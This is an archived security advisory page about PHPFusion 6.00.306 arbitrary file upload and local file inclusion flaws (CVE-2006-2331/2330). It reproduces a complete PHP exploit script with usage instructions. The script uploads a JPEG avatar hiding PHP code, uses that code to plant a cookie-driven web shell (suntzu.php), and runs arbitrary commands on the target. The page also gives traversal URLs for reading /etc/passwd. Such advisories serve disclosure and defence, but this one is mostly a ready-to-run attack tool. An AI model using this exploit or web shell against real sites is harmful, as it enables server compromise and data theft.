Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload & local inclusion vulnerabilities
  SecurityAlert : 873
  CVE : CVE-2006-2331
  CVE : CVE-2006-2330
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : rgod
  Published : 12.05.2006

  Affected Software : PHPFusion <= v6.00.306



  Advisory Text :  

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &rn";

echo "local inclusion vulnerabilitiesrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to PHPFusionrn";

echo "cmd: a shell commandrn";

echo "user/pass: you need a valid user account to upload an avatarrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /phpfusion/ your_username password cat
./../../config.phprn";

echo "php ".$argv[0]." localhost /phpfusion/ your_username password ls -la
-p81rn";

echo "php ".$argv[0]." localhost / your_username password ls -la
-P1.1.1.1:80rnrn";

die;

}

/* explaination:

software site: http://www.php-fusion.co.uk/

description: "a light-weight open-source content management system (CMS)

written in PHP. It utilises a mySQL database to store your site content and

includes a simple, comprehensive adminstration system."

tested versions: PHPFusion v6.00.306

PHPFusion v6.00.207

PHPFusion v6.00.110

i) vulnerable code in includes/update_profile_include.php at lines 69-90:

...

$newavatar = $_FILES['user_avatar'];

if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) &&
is_uploaded_file($newavatar['tmp_name'])) {

if (preg_match("/^[-0-9A-Z_.[]]+$/i", $newavatar['name']) &&
$newavatar['size'] <= 30720) {

$avatarext = strrchr($newavatar['name'],".");

if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png",
$avatarext)) {

$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'],
"."));

$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;

$set_avatar = "user_avatar='$avatarname', ";

move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);

chmod(IMAGES."avatars/".$avatarname,0644);

if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {

if ($size['0'] > 100 || $size['1'] > 100) {

unlink(IMAGES."avatars/".$avatarname);

$set_avatar = "";

}

} else {

unlink(IMAGES."avatars/".$avatarname);

$set_avatar = "";

}

}

}

}

...

A remote user can upload a malicious avatar with multiple extensions,

(ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata

content.

It seems that Apache mod_mime module considers double-extension files like

file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary

code that has been uploaded. Actually I can't say which Apache versions,
this

was tested against Apache/1.3.27 with PHP/4.3.3

A note: file is renamed like this

.php.php[user_id].gif-fakechars-

ii) vulnerable code in
infusions/last_seen_users_panel/last_seen_users_panel.php

at lines 12-16:

...

if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale
'].".php")) {

include
INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";

} else {

include INFUSIONS."last_seen_users_panel/locale/English.php";

}

...

$settings['locale'] var is not properly sanitized before to be used to

include files so, if register_globals=on & magic_quotes_gpc=Off,

you can include local resources, poc:

http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?settings[locale]=../../../../../../../../../etc/passw%00

http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[
1].jpg%00

A note: if INFUSIONS constant is not defined, PHP will assume it as it is,

as "INFUSIONS" string. On some system , no matters if
"INFUSIONSlast_seen_users_panel/locale/........"

path does not exist, you will go up from the non-existent dir of exactly
four

dirs to include the malicious avatar.

This works against on 6.00.306

iii) vulnerable code in setup.php at lines 14-15:

...

$localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");

include "locale/".$localeset."/setup.php";

...

if this script is not deleted after installation, if magic_quotes_gpc=Off,

you can include files from locale resources, poc:

http://[target]/[path]/setup.php?localeset=../../../../../../../../../..
/etc/passwd%00

http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatar
s/suntzu[1].jpg%00

this tool tries to exploit all theese vulnerabilities, you need a valid
user

account to upload avatars

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

function sendpacketiii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$username=$argv[3];

$pass=$argv[4];

$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$mypaths= array (

'images/avatars/',

'',

'infusions/last_seen_users_panel/'

);

echo "step 0 -> Check if suntzu.php is already installed...rn";

for ($i=0; $i<=count($mypaths)-1; $i++)

{

$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

}

echo "step 1 -> login...rn";

$data ="user_name=".urlencode(trim($username));

$data.="&user_pass=".urlencode(trim($pass));

$data.="&login=Login";

$packet="POST ".$p."news.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*rn";

$packet.="Referer: http://".$host.$path."news.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(' ',$temp[1]);

$cookie=$temp2[0];

echo 'Your cookie: '.$cookie."rn";

$temp=explode("fusion_user=",$cookie);

$temp2=explode(".",$temp[1]);

$user_id=trim($temp2[0]);

echo 'Your user id: '.$user_id."rn";

echo "step 2 -> upload a malicious avatar with php code inside...rn";

$avatar=".php.php.gif-fakechars-";

$shell=

chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch
r(0x70).

chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch
r(0x22).

chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch
r(0x70).

chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch
r(0x29).

chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch
r(0x73).

chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch
r(0x6f).

chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch
r(0x74).

chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x73).

chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch
r(0x5f).

chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch
r(0x29).

chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch
r(0x74).

chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch
r(0x71).

chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch
r(0x70).

chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch
r(0x24).

chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch
r(0x5b).

chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch
r(0x72).

chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch
r(0x65).

chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch
r(0x4f).

chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch
r(0x5d).

chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch
r(0x20).

chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch
r(0x61).

chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch
r(0x5c).

chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch
r(0x45).

chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x65).

chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch
r(0x38).

chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch
r(0x28).

chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x63).

chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch
r(0x75).

chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch
r(0x70).

chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).

chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).

chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).

chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).

chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).

chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).

chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x08).

chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).

chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch
r(0x00).

chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch
r(0x03).

chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch
r(0x3f).

chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch
r(0x00);

/*

this image has this code inside as EXIF metadata content

<?php

$fp=fopen("suntzu.php","w");

fputs($fp,"<?php error_reporting(0);set_time_limit(0);if
(get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo
56789;passthru($_COOKIE[cmd]);echo 56789;?>");

fclose($fp);

chmod("suntzu.php",777);

?>

*/

$data='-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_name"

'.$username.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword2"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_email"

succcccccp (at) hotmail (dot) com [email concealed]

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hide_email"

1

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_location"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_month"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_day"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_year"

----

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_aim"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_icq"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_msn"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_yahoo"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_web"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_theme"

Default

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_offset"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_avatar"; filename="'.$avatar.'"

Content-Type: application/octet-stream

'.$shell.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_sig"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hash"

'.md5($pass).'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="update_profile"

Update Profile

-----------------------------7d6ee3a7074a--

';

$packet ="POST ".$p."edit_profile.php? HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";

$packet.="Referer: http://".$host.$path."edit_profile.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6ee3a7074arn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cookie: fusion_visited=yes; ".$cookie."
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";

$packet.="Cache-Control: no-cachernrn";

$packet.=$data;

sendpacketiii($packet);

echo "step 3 -> try to launch code inside image before has chmod()...rn";

for ($i=0; $i<=9; $i++)

{

$packet ="GET ".$p."images/avatars/.php.php[".$user_id."].gif-fakechars-
HTTP/1.1rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

}

echo "step 3b -> try to include through last_seen_users_panel.phprn";

//works with register_globals=on & magic_quotes_gpc=off

$xpl=urlencode("../../../../images/avatars/.php.php[".$user_id."].gif-fa
kechars-".chr(0x00));

$packet ="GET
".$p."infusions/last_seen_users_panel/last_seen_users_panel.php?settings
[locale]=$xpl HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 3c -> try to include through setup.php scriptrn";

//works with magic_quotes_gpc=off

$xpl=urlencode("../images/avatars/.php.php[".$user_id."].gif-fakechars-"
.chr(0x00));

$packet ="GET ".$p."setup.php?localeset=$xpl HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 4 -> delete avatar...rn";

$data='-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_name"

'.$username.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword2"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_email"

whattttt (at) hotmail (dot) com [email concealed]

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hide_email"

1

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_location"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_month"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_day"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_year"

----

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_aim"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_icq"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_msn"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_yahoo"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_web"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_theme"

Default

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_offset"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_avatar"; filename="whatever"

Content-Type: application/octet-stream

what

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_sig"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hash"

'.md5($pass).'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="update_profile"

Update Profile

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="del_avatar"

y

-----------------------------7d6ee3a7074a--

';

$packet ="POST ".$p."edit_profile.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";

$packet.="Referer: http://".$host.$path."edit_profile.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6ee3a7074arn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cookie: fusion_visited=yes; ".$cookie."
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";

$packet.="Cache-Control: no-cachernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 5 -> launch commands...rn";

for ($i=0; $i<=count($mypaths)-1; $i++)

{

$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

}

//if you are here...

echo "rnExploit failed...";

?>




  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

» PHP 5.2.6 (error_log)
   safe_mode bypass

Copyright © SecurityReason. All Rights Reserved.